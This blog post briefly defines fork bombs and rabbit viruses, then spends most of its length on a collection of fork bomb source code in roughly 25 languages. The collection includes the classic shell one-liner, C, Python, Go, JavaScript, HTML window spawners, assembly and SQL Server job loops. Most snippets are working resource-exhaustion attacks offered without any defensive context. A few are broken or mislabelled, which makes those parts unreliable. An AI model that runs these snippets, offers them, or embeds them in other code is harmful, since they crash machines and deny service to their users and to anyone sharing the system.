fork-bomb

Posted by

A fork bomb is a type of malware that can cause a computer to crash by using up all of its available resources. It does this by creating a large number of processes in a short period of time, causing the computer to become overwhelmed and unable to function properly.

A fork bomb works by using a programming construct called a fork, which creates a new process from an existing one. The fork bomb creates a process that continually creates new processes, each of which creates new processes, and so on until the computer runs out of resources and becomes unresponsive.

It is called a “fork bomb” because it multiplies itself through the use of forks, similar to how a real bomb can cause destruction and devastation.

A rabbit virus is a type of malware that spreads itself by replicating and sending copies of itself to other computers. It is called a “rabbit virus” because it can multiply quickly, similar to how rabbits can reproduce rapidly.

Both fork bombs and rabbit viruses can be harmful to a computer system, and it is important to protect your computer against these types of malware by using antivirus software and keeping your operating system and software up to date with the latest security patches.

FJi4EfcWQAYIfYm

Various languages are used to make fork bombs.

public class forkbomb
{
   public static void main(String[] args)
   {
     Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "forkbomb"});
   }
}
with POSIX.Process_Identification,
     POSIX.Unsafe_Process_Primitives;
procedure Forkbomb is
   unused : POSIX.Process_Identification.Process_ID;
begin
  unused := POSIX.Unsafe_Process_Primitives.Fork;
  Forkbomb;
end Forkbomb;
Fork-bomb.vbs
While True CreateObject("WScript.Shell").Exec("wscript.exe " & Wscript.ScriptName) Wend
fork-bomb.sh
#!/bin/sh
:(){ :|: & };:
fork-bomb.scm
(letrec ((x (lambda () (begin (fork-thread x) (x))))) (x))
fork-bomb.s
section .text
   global _start

_start:
    mov eax,2
    int 0x80
    jmp _start
fork-bomb.rs
// bomb.rs
// Chad Sharp

#[allow(unconditional_recursion)]
fn main() {
    std::thread::spawn(main);
    main();
}
fork-bomb.rb
loop { fork { load(__FILE__) } }
fork-bomb.r
library(multicore)

while (TRUE) fork()
fork-bomb.py
import os
while 1:
        os.fork()
fork-bomb.pl
fork while fork
fork-bomb.php
<? while(pcntl_fork()|1); ?>
fork-bomb.mdb
BEGIN
DECLARE @GUID UNIQUEIDENTIFIER = NEWID();
EXEC msdb.dbo.sp_add_job @job_name = @GUID;
EXEC msdb.dbo.sp_add_jobstep @job_name = @GUID, @step_id = 1, @step_name = 'Uno', @command = 'WHILE 1 = 1 EXEC ##ForkBomb;', @database_name = 'msdb';
EXEC msdb.dbo.sp_add_jobserver @job_name = @GUID;
EXEC msdb.dbo.sp_start_job @job_name = @GUID;
END
fork-bomb.lua
require("posix")
while true do posix.fork() end
fork-bomb.lsp
(loop (#_fork))
fork-bomb.js
(function f() { require('child_process').spawn(process.argv[0], ['-e', '(' + f.toString() + '());']); require('child_process').spawn(process.argv[0], ['-e', '(' + f.toString() + '());']); }());
fork-bomb.html
<html>
 <body>
  <script>
   setInterval(function() {
   var w = window.open();
w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
   }, 10);
  </script>
 </body>
</html>
fork-bomb.hs
import Control.Monad (forever)
import System.Posix.Process (forkProcess)

forkBomb = forever $ forkProcess forkBomb

main = forkBomb
fork-bomb.go
package main

func main() {
        for {
             go main()
        }
}
fork-bomb.fasm
format PE GUI 4.0
entry start
section '.text' code readable executable
start:
pushd 1000
pushd path
pushd 0
call [GetModuleFileName]
@@:
pushd 1
pushd 0
pushd 0
pushd path
pushd command
pushd 0
call [ShellExecute]
jmp @b
section '.data' data readable writeable
path rb 1000
command db "open"
section '.idata' import data readable writeable
dd 0,0,0,RVA kernel32id,RVA kernel32
dd 0,0,0,RVA shell32id,RVA shell32
kernel32:
GetModuleFileName dd RVA _GetModuleFileName
dd 0
shell32:
ShellExecute dd RVA _ShellExecute
dd 0
kernel32id db 'kernel32.dll',0
shell32id db 'shell32.dll',0
_GetModuleFileName dw 0
db 'GetModuleFileNameA',0
_ShellExecute dw 0
db 'ShellExecuteA',0
section '.reloc' fixups data readable discardable
fork-bomb.cs
using System;

namespace forkbomb
{
  class Program
  {
   static void Main(string[] args)
    {
  System.Diagnostics.Process.Start(System.Reflection.Assembly.GetEntryAssembly().Location);
System.Diagnostics.Process.Start(System.Reflection.Assembly.GetEntryAssembly().Location);
while (true)
    {
Console.ReadKey();
    }
  }
 }
}
fork-bomb.cc
#include <cstdlib>

int main(int argc, char **argv)
{
  while (1) system(argv[0]);
  return 0;
}
fork-bomb.c
#include <unistd.h>

int main()
{
   while(1) fork();
}
fork-bomb.bf
+[>+]
fork-bomb.bash
#!/bin/bash
./$0|./$0& # $0 is the name of the shell script itself
fork-bomb.awk
@load "fork";BEGIN{while(1)fork()}
fork-bomb-netcore.cs
using System.Runtime.InteropServices;

namespace Fork
{
 class Fork
 {
  DllImport("libc.so.6")]
  public static extern long fork();

  static void Main(string[] args)
  {
   while (true) 
   {
    fork();
    }
  }
 }
}

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.